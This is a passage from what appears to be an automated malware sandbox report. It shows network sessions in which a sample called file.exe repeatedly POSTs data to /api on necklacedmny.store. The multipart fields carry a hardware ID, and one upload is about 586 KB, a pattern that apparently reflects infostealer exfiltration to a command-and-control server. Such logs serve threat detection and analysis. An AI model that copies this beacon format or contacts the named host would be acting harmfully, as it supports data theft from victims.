XlqKlxOupni0vPUf7GJyxrj0Y3DWd05219n44ghD+WMQDcufFaeqcLaz9lWrKXnV/KAqWvdDCVLsneumFwD9YF9ag9NY66Vn8OK6erUpe9i4s21GsUUAF7XZ66UXBftjUVODlh6vo3m2ufVbpyN62vSiKV7wTgdY5pyn4lEE5i8IFbqQALyyc/CltEbiJXmeoOwiTftIAlLinOSjFg74Y1pcg5UZorB8vLT9Ua4seNT7oWMRsUUUF7XZy6scLfV
2024-10-31 22:37:02 UTC	1369	IN	Data Raw: 6f 45 45 36 2b 77 2f 74 36 4b 36 42 2b 49 55 63 73 37 6f 72 32 46 75 35 30 45 61 58 4f 43 56 70 37 4e 66 47 72 35 6f 58 42 58 54 30 78 43 6b 71 33 79 2f 75 2f 4e 54 72 79 64 38 32 2f 6d 71 4a 31 58 37 51 67 70 52 37 4a 7a 74 72 78 41 4a 39 32 68 59 55 6f 69 42 56 75 58 69 65 4b 6a 36 6f 68 2b 4c 4a 57 66 51 36 4f 77 38 45 65 67 43 43 31 75 74 77 61 65 6f 47 77 7a 36 61 46 78 54 6a 70 55 62 71 71 31 2b 73 4c 58 2b 56 4b 73 6b 64 4e 50 39 6f 53 64 4e 2b 30 6b 44 57 2b 53 56 36 75 78 66 51 2f 6c 33 45 41 33 4c 6f 68 75 6c 72 48 69 6d 2b 75 55 52 75 32 4a 79 30 72 6a 30 59 31 37 39 54 51 39 59 37 70 72 6d 70 67 4d 52 38 6d 5a 59 55 49 65 59 47 4b 32 77 65 62 2b 7a 2b 56 79 72 4a 58 33 53 38 71 38 6b 48 37 38 43 43 30 2b 74 77 61 65 50 42 68 50 7a 4c 30 38 62 Data Ascii: oEE6+w/t6K6B+IUcs7or2Fu50EaXOCVp7NfGr5oXBXT0xCkq3y/u/NTryd82/mqJ1X7QgpR7JztrxAJ92hYUoiBVuXieKj6oh+LJWfQ6Ow8EegCC1utwaeoGwz6aFxTjpUbqq1+sLX+VKskdNP9oSdN+0kDW+SV6uxfQ/l3EA3LohulrHim+uURu2Jy0rj0Y179TQ9Y7prmpgMR8mZYUIeYGK2web+z+VyrJX3S8q8kH78CC0+twaePBhPzL08b
2024-10-31 22:37:02 UTC	1369	IN	Data Raw: 4b 6b 65 4c 61 30 36 46 71 6b 4c 58 72 58 38 61 67 72 58 50 46 47 43 46 44 6f 6d 75 75 6e 46 67 44 78 61 31 6c 62 67 70 78 57 35 65 4a 34 71 50 71 69 48 34 4d 35 64 74 4c 31 37 44 77 52 36 41 49 4c 57 36 33 42 70 36 41 66 42 76 35 6c 56 6c 47 4f 6c 52 79 75 6f 6e 53 7a 74 66 35 5a 70 69 31 31 31 66 47 74 4a 56 72 37 53 51 70 61 37 70 2f 68 37 46 39 44 2b 58 63 51 44 63 75 7a 44 61 61 75 65 50 43 6c 74 45 62 69 4a 58 6d 65 6f 4f 77 6f 55 2f 56 46 44 46 72 75 6b 65 4b 6f 47 77 62 2b 5a 30 4a 64 69 35 51 45 75 61 4a 32 74 62 62 35 58 36 59 6b 66 4e 6a 37 71 47 4d 52 73 55 55 55 46 37 58 5a 79 71 41 57 4b 76 6c 30 45 45 72 46 69 6c 61 73 72 6a 2f 6f 2b 76 74 55 71 43 31 34 33 66 36 76 4b 46 72 37 51 77 74 66 34 49 76 6b 6f 78 34 48 2f 6d 42 57 55 34 71 63 45 Data Ascii: KkeLa06FqkLXrX8agrXPFGCFDomuunFgDxa1lbgpxW5eJ4qPqiH4M5dtL17DwR6AILW63Bp6AfBv5lVlGOlRyuonSztf5Zpi111fGtJVr7SQpa7p/h7F9D+XcQDcuzDaauePCltEbiJXmeoOwoU/VFDFrukeKoGwb+Z0Jdi5QEuaJ2tbb5X6YkfNj7qGMRsUUUF7XZyqAWKvl0EErFilasrj/o+vtUqC143f6vKFr7Qwtf4Ivkox4H/mBWU4qcE
2024-10-31 22:37:02 UTC	1369	IN	Data Raw: 7a 72 50 6b 59 6e 42 78 53 79 50 4b 72 4d 31 6a 6d 54 55 77 5a 72 5a 61 6e 39 43 68 44 39 32 68 4c 52 4a 32 65 42 71 7a 69 51 50 37 36 34 68 2f 36 59 6b 44 64 39 71 49 6b 53 65 41 50 4b 30 48 6e 6e 76 65 72 42 67 79 2b 49 52 42 54 79 38 74 46 35 65 4a 37 6f 66 71 69 44 2f 42 35 49 49 32 76 2f 48 46 41 76 31 74 4d 51 61 33 42 74 65 4a 52 45 62 34 33 45 42 4b 49 67 51 53 74 6f 57 6d 7a 2f 63 52 68 68 54 68 34 32 4f 2b 39 48 57 48 32 57 41 46 52 2b 6f 69 72 75 52 49 4e 38 47 68 47 46 63 58 54 47 65 76 36 52 76 44 79 75 6d 44 73 59 6d 32 65 6f 4f 77 57 58 50 39 4d 43 30 48 38 31 4d 43 32 48 41 58 70 66 68 41 62 79 35 56 57 38 2f 49 78 38 4c 37 72 48 2f 70 79 4a 34 57 74 2f 33 51 50 6f 31 31 43 54 71 32 50 70 2f 52 44 54 62 35 39 45 41 33 4c 31 42 57 35 73 48 Data Ascii: zrPkYnBxSyPKrM1jmTUwZrZan9ChD92hLRJ2eBqziQP764h/6YkDd9qIkSeAPK0HnnverBgy+IRBTy8tF5eJ7ofqiD/B5II2v/HFAv1tMQa3BteJREb43EBKIgQStoWmz/cRhhTh42O+9HWH2WAFR+oiruRIN8GhGFcXTGev6RvDyumDsYm2eoOwWXP9MC0H81MC2HAXpfhAby5VW8/Ix8L7rH/pyJ4Wt/3QPo11CTq2Pp/RDTb59EA3L1BW5sH
2024-10-31 22:37:02 UTC	1369	IN	Data Raw: 45 65 49 36 4e 59 61 34 6d 53 42 52 2f 30 55 61 52 71 43 2b 36 61 73 51 46 65 35 34 58 78 58 46 30 78 44 72 2b 69 33 2b 2b 76 35 4f 34 6e 6f 6c 6a 4b 50 35 63 41 69 68 45 42 4d 5a 39 4e 6e 78 37 45 6c 52 73 43 39 43 46 64 50 54 55 61 69 77 62 62 61 35 37 46 7a 6c 48 45 76 35 39 71 73 69 53 65 46 56 41 78 6a 44 72 38 61 53 4c 78 62 39 59 56 35 53 6e 59 4a 57 35 65 4a 77 38 4f 4c 44 48 2b 70 69 53 70 43 34 74 47 4d 48 73 58 63 50 57 65 4f 65 38 62 31 63 4a 50 42 6f 55 55 4f 62 68 42 6e 6b 6a 45 6d 52 2b 72 51 66 70 47 49 74 6a 4c 62 73 4a 30 36 78 47 6c 77 46 74 73 79 30 2b 30 46 52 34 53 46 4a 46 5a 33 54 54 76 6e 73 50 36 4c 36 6f 68 2f 6c 49 57 66 4d 2f 71 38 31 58 4c 5a 38 4d 6e 44 6a 6e 75 61 36 41 51 37 79 54 6c 4e 45 67 61 30 6f 76 71 46 78 76 72 33 Data Ascii: EeI6NYa4mSBR/0UaRqC+6asQFe54XxXF0xDr+i3++v5O4noljKP5cAihEBMZ9Nnx7ElRsC9CFdPTUaiwbba57FzlHEv59qsiSeFVAxjDr8aSLxb9YV5SnYJW5eJw8OLDH+piSpC4tGMHsXcPWeOe8b1cJPBoUUObhBnkjEmR+rQfpGItjLbsJ06xGlwFtsy0+0FR4SFJFZ3TTvnsP6L6oh/lIWfM/q81XLZ8MnDjnua6AQ7yTlNEga0ovqFxvr3
2024-10-31 22:37:02 UTC	1369	IN	Data Raw: 6e 61 63 79 61 45 6e 53 65 52 42 48 46 44 54 70 38 71 2b 46 68 50 39 4c 58 78 53 68 70 38 6f 6c 5a 56 75 74 36 71 34 65 61 45 30 64 70 36 32 37 44 73 66 71 51 49 68 52 65 71 4a 35 4f 34 39 42 50 4e 6a 45 45 72 46 69 6c 61 39 34 69 66 6a 39 4c 70 4e 34 6e 6f 31 6d 66 75 2b 4d 56 6e 79 56 41 38 51 30 36 66 4b 76 68 59 54 2f 53 31 68 57 49 2b 46 41 36 69 79 65 49 36 45 31 30 32 6c 4d 6e 61 63 33 5a 5a 68 62 75 64 42 44 46 6e 71 32 61 6e 73 43 55 4f 6d 4c 33 31 48 6a 49 4d 56 36 59 64 46 38 6f 76 73 58 4b 49 73 63 70 37 6e 34 6a 6f 66 35 77 4a 55 42 4b 50 5a 39 65 78 4a 51 37 6c 68 58 56 53 49 6e 52 57 35 73 48 6d 7a 72 50 6b 59 6e 42 78 61 31 66 6d 38 4c 6b 37 38 52 68 70 70 30 37 37 68 71 52 59 39 77 46 68 42 55 70 76 52 4d 4b 69 30 66 50 44 30 75 6b 66 69 Data Ascii: nacyaEnSeRBHFDTp8q+FhP9LXxShp8olZVut6q4eaE0dp627DsfqQIhReqJ5O49BPNjEErFila94ifj9LpN4no1mfu+MVnyVA8Q06fKvhYT/S1hWI+FA6iyeI6E102lMnac3ZZhbudBDFnq2ansCUOmL31HjIMV6YdF8ovsXKIscp7n4jof5wJUBKPZ9exJQ7lhXVSInRW5sHmzrPkYnBxa1fm8Lk78Rhpp077hqRY9wFhBUpvRMKi0fPD0ukfi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.97.3	443	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:37:02 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 22:37:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:37:02 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 22:37:03 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=itnt5vmtfrflkshupmjd4q3hki; expires=Mon, 24-Feb-2025 16:23:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m3snYyFmQQUwPpahvMwEZVi7uOEUap%2FcFJqY%2FLe%2FJiN88%2BC1yJLPaxX8icZLG0b6wfmgCOKomIggdu1%2Fjb5arucdore9mao%2FECfThTtoUcsVkyWLbhXsSmoRAjxBzenuTxqWkFM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7209daeceeb23-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1273&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2354471&cwnd=251&unsent_bytes=0&cid=0f747805997e362c&ts=506&x=0"
2024-10-31 22:37:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:37:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.97.3	443	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:37:04 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 22:37:04 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:37:05 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i145pd5id67snhggq1ucgs9kr4; expires=Mon, 24-Feb-2025 16:23:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8we7pj0EgwMQ8f6ENeenWWlw%2FR6pbOaooDEPMuaZY%2BjLFseY6eQZdIqOuBdZQjbak%2Bs4CJzoemodyDItTZe%2Fb7yLz6bsolQeraPfSS8r2R3O6dT2%2BEjSt0JEkOvaW2W6UX8zwBM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db720a69b6868fa-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1245&sent=6&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=2326104&cwnd=251&unsent_bytes=0&cid=8b95a216ec1a2124&ts=740&x=0"
2024-10-31 22:37:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:37:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.97.3	443	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:37:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 22:37:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:37:05 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 22:37:06 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j7l1a4clu63e91frltg9mbe6e8; expires=Mon, 24-Feb-2025 16:23:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XXGmImNwyB9k7odajO%2B%2Fnwl0aSjhlXBb6WimDC0UFJ2RH%2FF9LV33tkuYgf5%2BRMJBZpIZGEEz9BzS4diDYWUm4snd0i4TEzlWAE9zmGwLtOaB1fW6RsJrfXaC2f9N3Ji4Al8wzn8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db720b01c34479d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1210&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2283911&cwnd=241&unsent_bytes=0&cid=487d6409a36d4263&ts=924&x=0"
2024-10-31 22:37:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:37:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.97.3	443	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:37:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1249 Host: necklacedmny.store
2024-10-31 22:37:07 UTC	1249	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:37:08 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=av26lupu2udu2tbpa68e4rc72d; expires=Mon, 24-Feb-2025 16:23:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NVWrmd0Ty9vTk23yxH6YQqIKjiGEcHh6pE6Y%2FR0MiZbN5q5kpdYN2JmhqVhTn5CGfrKNKw9dKDmSwXqM6ZIArbO0TIyzu5hGzCzG8orkV54eL6QMfUrSra%2FY%2F2uEkEkDfy%2FClPo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db720bbcf876b04-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=981&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2168&delivery_rate=2853201&cwnd=233&unsent_bytes=0&cid=91759abcbe82449f&ts=339&x=0"
2024-10-31 22:37:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:37:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.97.3	443	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:37:09 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586090 Host: necklacedmny.store
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:37:09 UTC	15331	OUT	Data Raw: 52 af 1e a3 e2 67 45 59 5c fe dc 07 75 ca ec 58 04 f6 ae aa 68 41 21 4a 74 46 0d 7d 0b 13 00 87 c3 3e 4f 03 54 ee a2 b4 cb de fc 96 44 e3 dc 77 b7 69 6b 3b 06 e4 e3 fd 2b d0 8c ba f9 bf 02 23 22 9c 31 7d 53 1c 93 34 9e 85 26 21 c3 82 28 73 17 88 cb 4f eb 8c 55 39 8c e9 0f bf 98 33 36 58 90 00 df 22 85 13 26 c4 c0 25 e9 0c f3 30 68 6e a9 c4 a7 de 4e c6 5f 61 c9 2e f2 78 58 62 95 f4 84 ad 80 77 cd 8e 1c 74 7c 94 38 b1 95 8c 32 8e eb 70 8a 89 4e dd c8 b2 08 64 8b ee 3a 70 f2 fc 11 97 1a be 7d d4 3c 8d 27 7c 4d 3a e9 9e 82 b6 2a 4c 5f fc 2d 49 a0 18 36 df ec 08 c1 ed c7 fd 9d 03 b2 86 0b 9e 7b 4f 5a fc f2 1f ab 3d 83 01 2a bf 6b 32 d8 45 98 45 2b fb a0 f4 ad b1 f2 49 29 80 40 e7 a1 64 c6 9d 43 c9 12 40 f1 07 94 51 0f 33 4e b8 32 5d 85 c0 e9 83 58 98 51 a6 70 Data Ascii: 